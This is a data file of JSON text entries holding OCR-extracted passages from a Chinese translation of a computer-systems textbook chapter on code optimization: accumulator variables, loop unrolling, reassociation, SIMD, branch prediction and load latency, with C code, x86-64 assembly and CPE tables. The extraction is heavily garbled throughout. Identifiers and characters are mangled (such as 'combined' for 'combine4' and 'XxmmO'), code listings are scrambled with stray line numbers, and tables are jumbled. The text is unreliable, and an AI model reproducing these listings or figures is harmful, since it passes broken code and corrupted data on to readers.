    {"text": "从在这段循环代码中，我们看到，对应于指针dest的地址存放在寄存器％rbp中（这与在 IA32中不同，在IA32中，％ebp有特殊的用途，作为帧指针，它对应的64位寄存器％rbp可以 用来存放任意数据)。"},
    {"text": "combine4: data_t - float. OP = * i in %rdx ， data, in %rax, limit in %rbp, acc in XxmmO ^ . L488: loop ： mulss (%rax,%rdx,4) , %xmmO Mu.lt.iply acc by dat.a[i] addq $1, %rdx Increment i cmpq %rdx, %rbp Compare 1imit : i jg .L488 If >, goto loop ] /* Accumulate result in local variable 氺/ 2 void combine4(vec_ptr v, data_t *dest) / 4 \\ long int i; 5 long int length = vec_length(v); 6 data_t *data = get_vec_start(v); 7 O data_t acc = IDENT; 0 9 for (i = 0; i < length; i++) { 10 acc = acc OP data[i]; 11 > 12 13 ♦dest = acc; } 图5-10在临时变量中存放结果。 将累积值存放在局部变量acc (累积器（accumulator)简称）中，消除 了每次循环迭代中从存储器中读出并将更新值写回的需要 我们看到程序性能有了显著的提高，如下表所示 ： 函数 页码 方法 整数 浮点数 + 幸 + F* D* combine3 336 直接数据访问 6.01 8.01 10.01 11.01 12.02 combine4 338 累积在临时变量中 2.00 3.00 3.00 4.00 5.00 所有的时间至少改进了 2.4X ,整数加法情况的时间下降到了每元素两+时钟周期。"},
    {"text": "可能又有人会认为编译器应该能够自动将图5-9中所示的 CO mbine3的代码转换为在寄存 器中累积那个值，就像图5-10中所示的combined的代码所做的那样。"},
    {"text": "设v=[2，3，5]是一个由3个元素组成的向量，考虑下面两个函数调用： combine3(v, get_vec_start(v) + 2); combine4(v, get_vec_start(v) +2); 也就是在向量最后一个元素和存放结果的目标之间创建一个别名。 那么，这两个函数的执行 如下： 函数 初始值 循环之前 i = 0 i = 1 i = 2 最后 combine3 [2 ， 3 ， 5] [2,3, 1] [2, 3,2] [2, 3 ， 6] [2 ， 3 ， 36] [2, 3 ， 36] combine4 [2, 3, 5] [2,3,5] [2 ， 3 ， 5] [2, 3 ， 5] [2, 3 ， 5] [2, 3 ， 30] 正如前面讲到过的，combine3将它的结果累积在目标位置，在本例中，目标位置就是向量 的最后一个元素。"},
    {"text": "_练习题5.4当用带命令行选项“-02”的GCC来编译 CO mbin e 3时，得到的代码CPE性能远好于 使用-01时的： 函数 页码 方法 整数 浮点数 + 幸 + F* D* combine3 336 .用-01编译 6.01 8.01 10.01 11.01 12.02 combine3 336 用-02编译 3.00 3.00 3.00 4.02 5.03 combined 338 累积在临时变量中 2.00 3.00 3.00 4.00 5.00 由此得到的性能与combine相当，不过对于整数求和的情况除外，虽然性能巳经得到了显著的提高, 但是还低于combined在检查编译器产生的汇编代码时，我们发现对内循环的一个有趣的变化： comhi.ne3: data_t -- float, OP - *, compiled -02 i in %rdx, data in %rax, limit in %rbp, dest at %rx!2 Product in %xmmO 1 •L560: loop ： 2 mulss (%rax,%rdx,4), %xmm0 Multipiy product by data.[.i] 3 addq $1, %rdx Increment i 4 cmpq %rdx, %rbp Compare limit:! 5 movss %xmm0, (%rl2) Store prod act at dest 6 jg • L560 If >, goto loop 把上面的代码与用优化等级1产生的代码进行比较： combine3: datci^t ~ float, OP ~ *, compiled ~0i i in %rdx, ,data in °/ 0 rax, dest in %rbp 1 .L498: loop: 2 movss (%rbp), %xmm0 Read product from dest 3 mulss (%rax,%rdx,4) , %xmm0 Multiply product by data[i] 4 movss 7 o xmm0, (%rbp) Store product at dest 5 addq $1, %rdx Increment i 6 cmpq %rdx, %rl2 Compare i :limi t 7 jg .L498 If. >, goto loop 我们看到，除了指令顺序有些不同，唯一的区别就是使用更多优化的版本不含有movss指令，它实现 的是从dest指定的位置读数据（第2行)。"},
    {"text": "在代码级上，看上去似乎 是一次执行一条指令，每条指令都包括从寄存器或存储器取值，执行一个操作，并把结果存回到 一个寄存器或存储器位置。"},
    {"text": "现代微处理器取得的了不起的 功绩之一是：它们釆用复杂而奇异的微处理器结构，其中，多条指令可以并行地执行，同时又呈 现一种简单地顺序执行指令的表象。"},
    {"text": "在工业 界称为 超标量 （superscalar),意思是它可以在每 个时钟 周期执行多个操作，而且是 乱序的 （out- of-order),意思就是指令执行的顺序不一定要与它们在机器级程序中的顺序一致。"},
    {"text": "整个设计有两 个主要部分： 指令控制单元 （Instruction Control Unit, ICU)和执 行单元 （Execution Unit, EU) 0 前者负责从存储器中读出指令序列 ， 并根据这些指令序列生成一组针对程序数据的基本操作；"},
    {"text": "使用投机执 行（speculative execution)的技术，处理器会开始取出位于它预测的分支会跳到的地方的指令, 并对指令译码，甚至在它确定分支预测是否正确之前就开始执行这些操作。"},
    {"text": "指令控制\n指制 取控 地址 mm\n0 指令\n预测 0K? 寄存器 更新 地址 数据 地址 数据 !!妒蝴 1 .i ‘ - ^ : 能元 功单 操作结果 图5-11 —个现代处理器的框图。"},
    {"text": "然后 执行单元完成这些操作，以及指出分支预测是否正确 指令译码逻辑接收实际的程序指令，并将它们转换成一组基本操作（有时称为微操作）。"},
    {"text": "在一个典型的x86实现中，一条只对寄存器操作的指令，例如 addl %eax, %edx 会被转化成一个操作。 另一方面，一条包括一个或者多个存储器引用的指令，例如 addl %eax f 4(%edx) 会产生多个操作，把存储器引用和算术运算分开。 我们这里给出的这条指令会被译码成为三个操\n作：一个操作从存储器 中加载 一个值到处理器中，一个操作将加载进来的值加上寄存器％eax中 的值，而一个操作将结果存回到存储器。"},
    {"text": "读写存储器是由加载和存储单元实现的。 加载单元处理从存储器读数据到处理器的操作。 这个单元有一个加法器来完成地址计算。 类似的，存储单元处理从处理器写数据到存储器的操 作。 它也有一个加法器来完成地址计算。"},
    {"text": "我们的图中展示了一 个寄存器文件 （registerfile),它包含整数、浮点数和最近的SSE 寄存器，是退役单元的一部分，因为退役单元控制这些寄存器的更新。"},
    {"text": "首先，一旦指令的操作完成了，而且所有导致这条指令的分支点也都被确认为预测正确 ， 那么这条指令就可 以退役 （retired) 了，所有对程序寄存器的更新都可以被实际执行了。"},
    {"text": "■ 正如我们已经描述的那样，任何对程序状态的更新都只会在指令退役时才会发生，只有在处 理器能够确信导致这条指令的所有分支都预测正确了，才会这 样做。"},
    {"text": "控制操作数在执行单元间传送的最常见的机制称为 寄存器重命名 (register renaming) 0 当一 条更新寄存器r的指令译码时，产生标记/,得到一个指向该操作结果的唯一标识符。"},
    {"text": "通过这种机制 ， 值可以直接从一个操作直接转发到另一个操作，而不是写到寄存器文件再读出来，使得第二个操 作能够在第一个操作完成后尽快开始。"},
    {"text": "在大 约25年的时间里，乱序处理都被认为是一项异乎寻常的技术，只在追求尽可能高性能的机器中 使用，直到1990年IBM在RS/6000系列工作站中重新引入了这项技术。"},
    {"text": "每个运算都是由两个周期计数值 来刻画的：一个是延迟（latency),它表示完成运算所需要的总时间； 另一个是发射时间（issue time),它表示两个连续的同类型运算之间需要的最小时钟周期数。"},
    {"text": "运算 整数 单精度 双精度 延迟 发射 延迟 发射 延迟 发射 加法 1 0.33 3 1 3 1 乘法 3 1 4 1 5 1 除法 11-21 5〜13 10 〜15 6-11 10 〜23 6-19 图5-12 Intel Core i7的算术运算的延迟和发射时间特性。"},
    {"text": "除法需要的时间依赖于数据值 我们看到，随着字长的增加（例如从单精度到双精度)，对于更复杂的数据类型（例如从整 数到浮点数)，对于更复杂的运算（例如从加法到乘法)，延迟也会增加。"},
    {"text": "例如，一个典型的浮 点加法器包含三个阶段（所以有三个周期的延迟）：一个阶段处理指数值，一个阶段将小数相加， 而另一个阶段对结果进行舍入。"},
    {"text": "因为微处理器芯片上，对于 这些单元，只有有限的空间，所以CPU设计者必须小心地平衡功能单元的数量和它们各自的性 能，以获得最优的整体性能。"},
    {"text": "如图5-12表明的那样，在Core i7的设计中，整数乘法、浮点乘法和加法被认为是重要的操 作，即使为了获得低延迟和较高的流水线化程度需要大量的硬件。"},
    {"text": "我们 用CPE值的两个基本界限来表示这种影响： + 整数 浮点数 +\n延迟 吞吐量 3.00 1.00 4.00 1.00 1.00 1.00 3.00 1.00 5.00 1.00\n延迟界 限给出了任何必须按照严格顺序完成合并运算的函数所需要的最小CPE值。"},
    {"text": "5.7.3处理器操作的抽象模型 我们会使用程序的 敖据流 （data-flow)表示，作为分析在现代处理器上执行的机器级程序性 能的一个工具，这是一种图形化的表示方法，展现了不同操作之间的数据相关是如何限制它们的 执行顺序的。"},
    {"text": "在继续技术细节之前，检査一下对函数combine4所获得的CPE测量值是很有帮助的，到 目前为止combine4是最快的代码: ， 函数 页码 方法 整数 浮点数 + • * + P* D* combined 338 累积在临时变董中 2.00 3.00 3.00 4.00 5.00 延迟界限 1.00 3.00 3.00 4.00 5.00 吞吐量界限 • 1.00 1.00 1.00 1.00 1.00 我们可以看到,除了整数加法的情况，这些测量值与处理器的延迟界限是一样的。"},
    {"text": "这个循环编译出的代 码由四条指令组成，寄存器％rdx存放循环索引i, % rax存放数组地址data, %rcx存放循环 界限limit,而％xmmO存放累积值acc 0 combine4: data„„t = float f OP ~ * in %rdx, data, in %rax t limit in %rbp, acc in ZxmmG\n.L488: mulss addq cmpq jg (%rax,%rdx,4), %xmmO $1, %rdx %rdx, %rbp • L488 loop: Multiply acc by data[i] Increment i Contpare limit :i If >, goto loop\n如图5-13所示，在我们假想的处理器设计中，指令译码器会把这四条指令扩展成为一系列 的五步操作，最开始的乘法指令被扩展成一个load操作，从存储器读出源操作数，和一个mul 操作，执行乘法。 mulss (%rax,%rdx,4), %xmmO addq $l,%rdx cmpq %rdx,%rbp jg loop 图5-13 combine内循环代码的图形化表示。"},
    {"text": "它跳转到给出的第一条指令 作为生成程序数据流图表示的一步,图5-13左边的方框和线给出了各个指令是如何使用和 更新寄存器的，顶部的方框表示循环开始时寄存器的值，而底部的方框表示的是最后寄存器的 值。"},
    {"text": "对于形成循环的代码片段，我们可以将访问到的寄存器分为四类： 只读：这些寄存器只用作源值，可以作为数据，也可以用来计算存储器地址，但是在循环中 它们是不会被修改的。"},
    {"text": "可以看到，％rdx和％xmmO是combine4的循环寄存器，对应于程序值i和 acco 正如我们会看到的，循环寄存器之间的操作链决定了限制性能的数据相关。"},
    {"text": "在图5-14a中看到，我们重新排列了操作符，更清晰地表明了从顶部源寄存器（只读 寄存器和循环寄存器）到底部目的寄存器（只写寄存器和循环寄存器）的数据流。 a) b) 图5-14将combined的操作抽象成数据流图：a)重新排列了图5-13的操作符，更清晰地表明了数据相 关； b)操作在一次迭代中使用某些值，产生出在下一次迭代中需要的新值 在图5-14a中，如果操作符不属于某个循环寄存器之间的相关链，那么就把它们标识成白 色。"},
    {"text": "乘 法操作的序列形成了限制 程序性能的关键路径 — 另一方面，对于整数加法的情况，我们对combing的 测试表明CPE为2.00，而根据沿着图5-15中左边和右边形成 的相关链预测的CPE为1.00，测试值比预测值要慢。"},
    {"text": "图 5-15 总结一下combined的性能分析：我们对程序操作的抽 象数据流表示，说明combine4的关键路径长是由对 程序值acc的连续更新造成的，这条路径将CPE限制为最多 Lo 除了整数加法之外，对于所有的其他情况，测量出的CPE 确实等于厶对于整数加法，测量出的CPE为2.00而不是根 据关键路径的长度所期望的1.00。"},
    {"text": "_练习题5.5假设写一个对多项式求值的函数，这里，多项式 的次数为系数为..., a„ 0 对于值;c,我们对多项式求值，计算 (5-2) a 0 +a x x+a2x 2 + • • •\n这个求值可以用下面的函数来实现，参数包括一个系数数组a、值x和多项式的次数degree (等式 (5-2)中的值《)。"},
    {"text": "在这个函数的一个循环中，我们计算连续的等式的项，以及连续的;c的幂： double poly(double a[], double x, int degree) long int i; double result = a[0]; double xpwr = x; /* Equals x\"i at start of loop 氺 / for (i = 1; i <= degree; i++) { result += a[i] * xpwr; xpwr = x * xpwr; > 10 return result; 对于次数这段代码执行多少次加法和多少次乘法运算？"},
    {"text": "通过釆用Horner法，一种以英国 数学家William G.Homer (1786—1837)命名的方法，对多项式求值，我们可以减少乘法的数量。 其思 想是反复提出X的幂，得到下面的求值： 00+^:(4+^:(^12+……)） (5-3) 使用Horner法，可以用下面的代码实现多项式求值： /* Apply Horner's method 木 / double polyh(double a[], double x, int degree) { long int i; double result = a[degree]; for (i = degree-1; i >= 0; i—) result = a[i] + x*result; return result; ,' > 对于次数这段代码执行多少次加法和多少次乘法运算？"},
    {"text": "_练习题5.7修改combine5的代码 ， 展开循环次。 当测量展开次数七=2 (combine5)和的展开代码的性能时 ， 得到下面的结果：\n/* Unroll loop by 2 */ 1 2 3 4 5 6 7 9 10 11 12 13 14 15 16 17 18 19 20 void combine5(vec_ptr v, data_t *dest) long int i; long int length = vec_length(v); long int limit = length-1; data_t *data = get_vec_start(v); data_t acc = IDENT; /* Combine 2 elements at a time */ for (i = 0; i < limit; i+=2) { acc = (acc OP data[i]) OP data[i+l]; } /* Finish any remaining elements */ for (; i < length; i++) { acc = acc OP data[i]; > ♦dest = acc; 图5-16展开循环次。 循环展开能减小循环弁销的影响 函数 页码 方法 整数 浮点数 + 幸 + F* D* combine4 338 无展开 2.00 3.00 3.00 4.00 5.00 combine5 349 展开2次 2.00 1.50 3.00 4.00 5.00 展开3次 1.00 1.00 3.00 4.00 5.00 延迟界限 1.00 3.00 3.00 4.00 5.00 吞吐量界限 1.00 1.00 1.00 1.00 1.00 我们看到对于整数加法和乘法，CPE有所改进，而对于浮点运算，却没有。"},
    {"text": "mulss (%rax, %rdx, 4), %xmm0 mulss 4 (%rax, %rdx, 4), %xmm0 addq $2, %rdx cmpq %rdx, %rbp jg loop 图5-18 combines内循环代码的图形化表示。"},
    {"text": "每次迭代有两条mulss指令，每条指令被翻译成一个 load和一个mul操作. rpp daiaW data [/+1] jg EM a) b) 图5-19将 CO mbine5 的操作抽象成数据流图。"},
    {"text": "5.9.1 多个累积变量 对于一个可结合和可交换的合并运算来说，比 如说整数加法或乘法，我们可以通过将一组合并运 算分割成两个或更多的部分，并在最后合并结果来 提高性能。"},
    {"text": "例如，匕表示元素《 0, …，^^的 乘积： 假设《为偶数，我们还可以把它写成 XP(9 „， 这里 p 氏是索引值为偶数的元素的乘积，而 pa 是索 引值为奇数的元素的乘积： «/ 2-1 PE n = n n/2—l PO n :n ^ 2/+1 图 5-21 展示的是使用这种方法的代码。"},
    {"text": "它既使用了两次循环展开，以使每次迭代合并更多 的元素，也使用了两路并行，将索引值为偶数的元素累积在变量 accO 中，而索引值为奇数的元 素累积在变量 accl 中。"},
    {"text": "比较只做循环展开和既做循环展开同时也使用两路并行这两种方法，我们得到下面的 性能：\n整数 浮点数 F* 4.00 4.00 2.00 4.00 1.00 函数 combine4 combine5 combine6 延迟界限 吞吐量界限 页码 338 349 352 D* 5.00 2.50 5.00 1.00 o o o o o .0.0.5.0.0 +2.2.1 1 1 3.00 1.50 1.50 3.00 1.00 3.00 1.50 3.00 1.00 方法 累积在临时变量中 展开2次 2次展开，2路并行\n/* Unroll loop by 2, 2-way parallelism */ void combine6(vec^ptr v, data—t *dest) 4 •5 6 7 9 0 1 2 3 4 5 6 7 9 20 ,21 22 long int i; long int length = vec_length(v); long int limit = length-1; data_t *data = get_vec_start(v); data_t accO = IDENT; data_t accl = IDENT; /* Combine 2 elements at a time */ for (i = 0; 1 < limit; i+=2) i accO = accO DP data[i]; accl = accl OP data[i+l]; /* Finish any remaining elements */ for (; i < length; i++) { accO = accO OP data[i]; > ♦dest = accO OP accl; 图5-21两次循环展开,并且使用两路并行。"},
    {"text": "同combines—样，这个内循环包 括两个mulss运算，但是这些指令被翻译成读写不同寄存器的mul操作，它们之间没有数据相 关（见图5-24b)。"},
    {"text": "可以看到，现在有两条关键路径，一条对应于计算索引为偶数的元素的乘积 (程序值accO),另一条对应于计算索引为奇数的元素的乘积（程序值accl)。"},
    {"text": "mulss (%rax, %rdx, 4), %xram0 mulss 4 (%rax,.%rdx, 4), %xmml addq $2, %rdx cmpq %rdx, %rbp jg loop 图5-23 combine6内循环代码的图形化表示。"},
    {"text": "每次循环有两条mulss指令，每条指 令被翻译成一个load和一个mul操作 data[/] 養 ddta[i+l] I b) 图5-24将combines的运算抽象成数据流图。"},
    {"text": "因此，优化编译器潜在地能够将combined中所示的代码首先转换成 C ombine5的一个二路循 环展开变种，然后再通过引入并行性，将之转换成combines的一个变种。"},
    {"text": "图5-26给出了一个函数combine7,它 与未展开的代码combine5 (图5-16)的 唯一区别在于内循环中元素合并的方式。 在 combine5中，合并是以下面这条语句来实 现的 (acc OP data[i]) OP data[i+1]; 而在combine7中，合并是以这条语句来实现的 acc OP (data[i] OP data [i+1]); 12 12 acc\n差别仅在于两个括号是如何放置的。"},
    {"text": "对于未经训练的人来说，这两个语句可能看上去本质上是一样的，但是当我们测量CPE的 时候，得到令人吃惊的结果：\n浮点数 F* 4.00 4.00 2.00 4.00 1.00 整数 页码 338 349 352 355 D* 5.00 2.50 2.97 5.00 1.00 + 3.00 3.00 1.50 1.50 3.00 1.00 o o o o o o .0.0.5.0.0.0 +2.2.12.1 1 3.00 1.50 1.50 1.51 3.00 1.00 函数 combine4 combine5 combine6 combine7 延迟界限 吞吐量界限 方法 累积在临时变量中 展开2次 2次展开，2路并行 2次展开，重新结合\n/* Change associativity of combining operation */ void combine7(vec_ptr v, data_t *dest) long int i; long int length = vec_length(v); long int limit = length-1; data_t *data = get_vec_start(v); data_t acc = IDENT; /木 Combine 2 elements at a. time */ for (i = 0; i < limit; i+=2) { acc = acc OP (data[i] OP data[i+l]); > /* Finish any remaining elements */ for (; i < length; i++) { acc = acc OP data[i]; > ♦dest = acc; 图5-26循环展开两次，然后重新结合合并操作。 这种方法也增加可以并行执行的操作数量 combine7的整数乘法情况的性能几乎与使用简单展开的版本（ CO mbine5)的性能相同， 而浮点数的情况与使用多个累积变量的版本（combine6)相同，是简单扩展的性能的两倍。"},
    {"text": "movss (%rax, %rdx, 4 )， %xmm0 mulss 4(%rax, %rdx, 4), %xmm0 mulss %xmm0, %xmml addq $2, %rdx cmpq %rdx, %rbp jg loop 圖圓i 图5-28 combine7内循环代码的图形化表示。"},
    {"text": "第一个nrnl操作让两个向量元素相乘，而第二 个mul操作将前面的结果乘以循环变量acc (b)\n在执行重新结合变换时，我们又一次改变向量元素合并的顺序。"},
    {"text": "我们 只有一条关键路径，但是它只包 含《/2个操作 现在我们可以解释对整数乘法情况做简单循环展开 (combine5)时看到的令人吃惊的性能提高。"},
    {"text": "GCC认识到得到的 代码会运行得更快，就会执行这种变换，如果确实是 这样，那就太好了，然而不幸的是，实际情况并非如 此。 在实验中，我们发现对C代码做很小的改动，就 会导致GCC对操作的结合大相径庭，相对于简单的 编译达到的性能，这样做有时会使代码加速，有时又 会减慢执行速度。"},
    {"text": "double aprod(double a[]， int n) int i; double x, y, z; double r = 1; for (i = 0; i < n-2; i+= 3) ■[ x = a[i]; y = a [i+1]; z = a[i+2]; r=r*x*y*z; /* Product computation 氺 / > for (; i < n; i++) r *= a[i]; return r; 对于标记为Product computation的行，可以用括号创建该计算的五种不同的结合，如下所示： r = ((r * X) * y) * z; /* A1 */ r = (r * (X * y)) * z; /* A2 本/ r = r本 ((X * y) * z); /* A3 */ r = r * (X * Cy * z)); /* A4 r = (r * X) * (y * z); /* A5 */ 假设在一台奴精度乘法延迟为5个时钟周期的机器上运行这些函数。"},
    {"text": "） 网络旁注OPT:SIMD ：用SIMD指令达到更高的并行度 就像在3.1节中讲述的,Intel在1999年引入了 SSE指令,SSE是“Streaming SIMD Extensions”（流 SIMD it 展）的缩写，而 SIMD (读作 “sim-dee”）是 “Single-Instruction，Multiple-Data”（单指 令多数据）的缩写。"},
    {"text": "例如，如 果XMM寄存器％xmmO包含4个单精度浮点数，用a 0 ,…， a 3 表示 , *%rcx包含4个单精度 浮点数的存储器地址， 用 b 0 ， …，表示，那么指令 mulps(%rcs),%xmmo 会从存储器中读出4个值，并行地执行4个乘法，计算丨一巧• ^ 0</<3 o 我们看到，一条 指令能够产生对多个数据值的计算，因此称为“SIMD”。"},
    {"text": "GCC支持对C语言的扩展，能够让程序员在程序中使用向量操作，这些操作能够被编译成 SSE的SIMD指令。 这种代码风格比直接用汇编语言写代码要好，因为GCC还可以为其他处理 器上才找得到的SIMD指令产生代码。"},
    {"text": "使用GCC指令、循环展开和多个累积变量的组合，我们的合并函数能够达到下面的 性能： 方法 整数 浮点数 + 本 + F* D* SSE+8次展开 0.25 0.55 0.25 0.24 0.58 吞吐量界限 0.25 0.50 0.25 0.25 0.50 正如上表所示，使用SSE指令降低了呑吐量界限，对于所有5种情况，都几乎达到了它们 的呑吐量界限。"},
    {"text": "整数加法、单精度加法和乘法的呑吐量界限为0.25,这是因为SSE指令可以并 行地执行4条这样的指令，而每条指令的发射时间为1。 只能同时执行两条双精度指令，所以吞 吐量界限是0.5。 整数乘法运算的呑吐量界限是0.5,原因是不同的——虽然可以同时执行4条指 令，但是它的发射时间为2。"},
    {"text": "下表总结了对于标量代码所 获得的结果，没有使用SSE向量指令提供的SIMD并行性： 函数 页码 方法 整数 浮点数 + * + F* D* combinel 331 抽象的-01 12.00 12.00 12.00 12.01 13.00 combine6 352 展开2次，2路并行 1.50 1.50 1.50 2.00 2.50 展开5次，5路并行 1.01 1.00 1.00 1.00 1.00 延迟界限 1.00 3.00 3.00 4.00 5.00 吞吐量界限 1.00 1.00 1.00 1.00 1.00 使用多项优化技术，对于所有的数据类型和运算组合，使用普通的C语言代码，我们已经 能够得到接近于1.00的CPE 了,和原始版本combinel相比，性能提高超过了 10倍。"},
    {"text": "函数 方法 整数 浮点数 + 幸 + F* D* SIMD代码 SIMD+8次展开 0.25 0.55 0.25 0.24 0.58 吞吐量界限 0.25 0.50 0.25 0.25 0.50 对于整数和单精度数据，处理器可以支持每个周期4个合并操作，而对于双精度数据，每个 周期2个。"},
    {"text": "有一些因素限制这个计算的性能，在使用标量指令时限制CPE达到1.00,在使用SIMD指 令时限制CPE达到0.25 (32位数据）或者0.50 (64位数据)。"},
    {"text": "其次，乘法器和加法器单元每个 时钟周期只能开始一条新操作（在SIMD指令的情况下，每个这样的“操作”实际上计算2个或 者4个和或者乘积)。"},
    {"text": "作为一个说明， 比较一下我们的并行累积变量代码对整数求和在X86-64和IA32的性能： 机器 展开次数 1 2 3 4 5 6 IA32 2.12 1.76 1.45 1.39 1.90 1.99 X86-64 2.00 1.50 1.00 1.00 1.01 1.00 . 我们看到对于IA32,当A = 4个值并行地累积时，得到最低的CPE,当A的值再变大的时 候，CPE反而变差了。 还可以看到对于X86-64,我们能达到CPE等于1.00,而对于IA32,我们 达不到。"},
    {"text": "检查^=5的情况的IA32代码，给出了 IA32提供很少寄存器的影响： IA32 code . Unroll X5 , accumulate X5 , data_t, = int. , OP :i in %edx, data in %ea.x, limit at %ebp-20 .L291: loop: xO ^ xO * data[i] Get xl xl = xl 本 dat.a[i+l] Store xl x2 - x2 * data[_i.+2] x3 = x3 * data[i-i-3] Get x4 x4 = x4 * daa[i+4] Store x4 imull (%eax,%edx,4), %ecx ?. movl -16(%ebp) , %ebx a imull 4(%eax,%edx,4) , %ebx movl %ebx, -16(%ebp) imull 8(%eax,%edx,4), %edi imull 12(%eax,%edx,4), %esi movl -28(%ebp), %ebx imull 16(%eax,%edx,4), %ebx movl %ebx, -28(%ebp) '11 addl $5, %edx i+= 5 cmpl %edx, -20(%ebp) Compare 1 .imi t:i jg .L291 If >， goto loop 在这里我们看到累积值accl和acc4被“溢出”到栈中，位于相对于％ebp偏移量为-16 和-28的位置。"},
    {"text": "分支预测和预测错误处罚 在3.6.6节中通过实验证明，当分支预测逻辑不能正确预测一个分支是否要跳转的时候，条 件分支可能会招致严重的 预测错误处罚。"},
    {"text": "如果预测是正确的，那么处理器就会“提交”投机执行的指令的结果,把它们存储到寄存器或 存储器中。 如果预测是错误的，处理器必须丢弃掉所有投机执行的结果,在正确的位置 ， 重新 幵始取指令的过程。"},
    {"text": "在3.6.6节中我们看到，最近的x86处理器有条件传送指令，在编译条件语句和表达式的时 候，GCC能产生使用这些指令的代码，而不是更传统的基于控制的条件转移的实现。"},
    {"text": "再来看另一个例子，当从 combine2 变化到 combine3 时，我们把函数 get_vec_element 从函数的内循环中拿了出来，考虑一下我们看到的很小的性能提高，如下所示：一 ~\n整数 浮点数 F* 11.09 11.01 函数 combine2 combine3 页码 333 336 + 10.09 10.01 8.03 6.01 8.09 8.01 12.08 12.02 方法 直接访问数据\nCPE基本上没变，即使这个函数使用了两个条件语句来检査向量索引是否在界限内。"},
    {"text": "作为一种测试边界检査对性能影响的方法，考虑下面的合并代码，修改combined的内循 环，用执行替换get_vec一element代码的内联函数结果替换对数据元素的访问。"},
    {"text": "/* Include bounds check in loop */ void combine4b(vec_ptr v, data_t *dest) long int i; long int length = vec 一 length^v); data_t acc = IDENT; 10 n 12 13 •14 然后， 函数 页码 方法 整数 浮点数 + ★ + F* D* combine4 338 没有边界检查 1.00 3.00 3.00 4.00 5.00 combine4b 361 边界检查 4.00 4.00 4.00 4.00 5.00 虽然使用边界检查的版本的性能不是太好，最多时它杷CPE增加了 3个时钟周期。 考虑到 for (i = 0; i < length; i++) { if (i >= 0 && i < v->len) { acc = acc OP v->data[i]; > > ♦dest = acc; 我们直接比较使用和不使用边界检查的函数的CPE ：\n边界检查代码执行了两个条件分支，还需要一个加载操作来实现表达式v->len,这还是很小的差 异。"},
    {"text": "对于这些测试，分支预测逻辑会处理得很糟糕，可能预测正确 率有50%——不会比随机猜测更好。 （原则上说，分支预测有可能正确率低于50%,但是这样的 情况非常少见。"},
    {"text": "我们发现GCC能够为以一种更“功能式的”风格书写的代码产生条件传送，在这种风格的 代码中，我们用条件操作来计算值，然后用这些值来更新程序状态，这种风格对立于一种更“命 令式的”风格，这种风格中，我们用条件语句来有选择地更新程序状态。"},
    {"text": "假设给定两个整数数组a和b,对 于每个位置i，我们想将a [i]设置为a [幻和b[i]中较小的那一个，而将bU]设置为两f 中较大的那一个。"},
    {"text": "• 用命令式的风格实现这个函数是检查每个位置i,如果它们的顺序与我们想要的不同，就交 换两个元素： ,1 /* Rearrange two vectors so that for each ± , b[i] >= a [i] */ void minmaxl(int a[], int b[], int n) { for (i = o ；"},
    {"text": "i < n; i++) 5 if (a[i] > b[i]) { 6 int t = a[i]; 7 a[i] =b[i]; 8 b[i] =t; 9 } o > 在随机数据上测试这个函数 ， 得到的CPE大约为14.50,而对于可预测的数据，CPE为 3.00〜4.00,很明显是高预测错误惩罚的迹象。 用功能式的风格实现这个函数是计算每个位置i的最大值和最小值，然后将这些值分别赋 给 a[i]和 b[i] ： /* Rearrange two vectors so that for each, i, b[i] >= a[;i] void minmax2(int a[] , int b[] , int n) { int i; a for (i = 0; i < n; i++) { int min = a[i] < b[i] ? a[i] : b[i]; int max = a[i] < b[i] ? b[i] : a[i] ; a[i] = min; b[i] = max; > io > 对这个函数的测试表明无论数据是任意的 ， 还是可预测的 ， CPE都大约为5.0。"},
    {"text": "） 在3.6.6节中讨论过，不是所有的条件行为都能用条件数据传送来实现 ， 所以无可避免地在 某些情况中，程序员不能避免写出会导致条件分支的代码，而对于这些条件分支，处理器用分支 预测可能会处理得很糟糕。"},
    {"text": "练习题5.9对于归并排序的合并步骤的传统的实现需要三个循环： void merge (int srcl [], int src2[], int dest [] , int n) { int il = 0; int i2 = 0; A int id = 0; while (il < n && i2 < n) i if (srcl [il] < src2[i2]) dest[id++] = srcl [i1++]; else . dest[id++] = src2 [i2++]; 10 > while (il < n) dest[id++] = srcl [il++]; while (i2 < n) dest [id++] = src2[i2++]; ,15 > 对于把变量il和i2与n做比较导致的分支,.有很好的预测性能——唯一的预测错误发生在它们第一 次变成错误时。"},
    {"text": "本节会进一步研究涉及加载（从存储器读到寄存器）和存储（从寄存器写到 存储器）操作的程序的性能，只考虑所有的数据都存放在高速缓存中的情况。"},
    {"text": "由于加载单元每个时钟周期只能启动一条加载操作，所以CPE不可能小于1.00。 对于 每个被计算的元素必须加载A个值的应用，我们不可能获得低于&的CPE (例如参见家庭作业 5.17)。"},
    {"text": "1 typedef struct ELE { 2 struct ELE *next ; 3 int data; 4 } list_ele, *list_ptr; 5 6 int list_len(list_ptr Is) { 7 int len = 0; 8 while (Is) { 9 len++ ; 10 Is = ls->next ; 1 1 > 12 13 return len; > 图 5-31 链表函数。"},
    {"text": "这些函数说明了加载操作的延迟 要确定一台机器上加载操作的延迟，我 们可以建立由一系列加载操作组成的一个计 算，一条加载操作的结果决定下一条操作的 地址。"},
    {"text": "） len in %eax, Is in. %rdi .Lll ： loop: addl $1, %eax Increment len movq (%rdi), %rdi Is = ls->next A testq %rdi , %rdi Test Is loop jne .Lll If nonnull , go 第3行上的movq指令是这个循环中关键的瓶颈。"},
    {"text": "/* Set elements of array to 0 */ void clear_array(int *dest, int n) { 3 int i； 4 for (i = 0; i < n; i++) 5 6 > dest [i] = 0; 1 /* Set elements of array to 0, 2 void clear_array_4(int *dest,: 3 int i； 4 int limit = n-3; 5 for (i 二 0; i < limit; i+= 6 dest [i] = 0; 7 r dest[i+1] = 0; 8 dest[i+2] = 0; 9 dest[i+3] = 0; 10 > 11 for (;i < limit; i++) 12 dest [i] = 0; 13 > n) { 图5-32将数组元素设置为0的函数。"},
    {"text": "在这种情况 AWritetodest, readfromsrc*/ voidwrite_read(int*src, int*dest, intn) { intcnt=n; intval=0;\nwhile(cnt—) { *dest=val; val=(*src)+l; 7 9 10 11\n示例 A: write_read(&a[0], &a[l], 3) cnt val Initial 3 Iter. 1 2 Iter. 2 1 Iter., 3 0 -10 17 -10 0 -10 -9 -10 -9 0 ^ : -9 „ 一 9 , - 9 示例 B: write_read(&a[0], &a[0], 3) cnt val Initial 3 Iter. 1 2 Iter. 2 1 Iter. 3 0 -10 17 0 17 ! 1 17 2 17 / 0 1 2 3 图5-33写和读存储器位置的代码，以及示例执行。"},
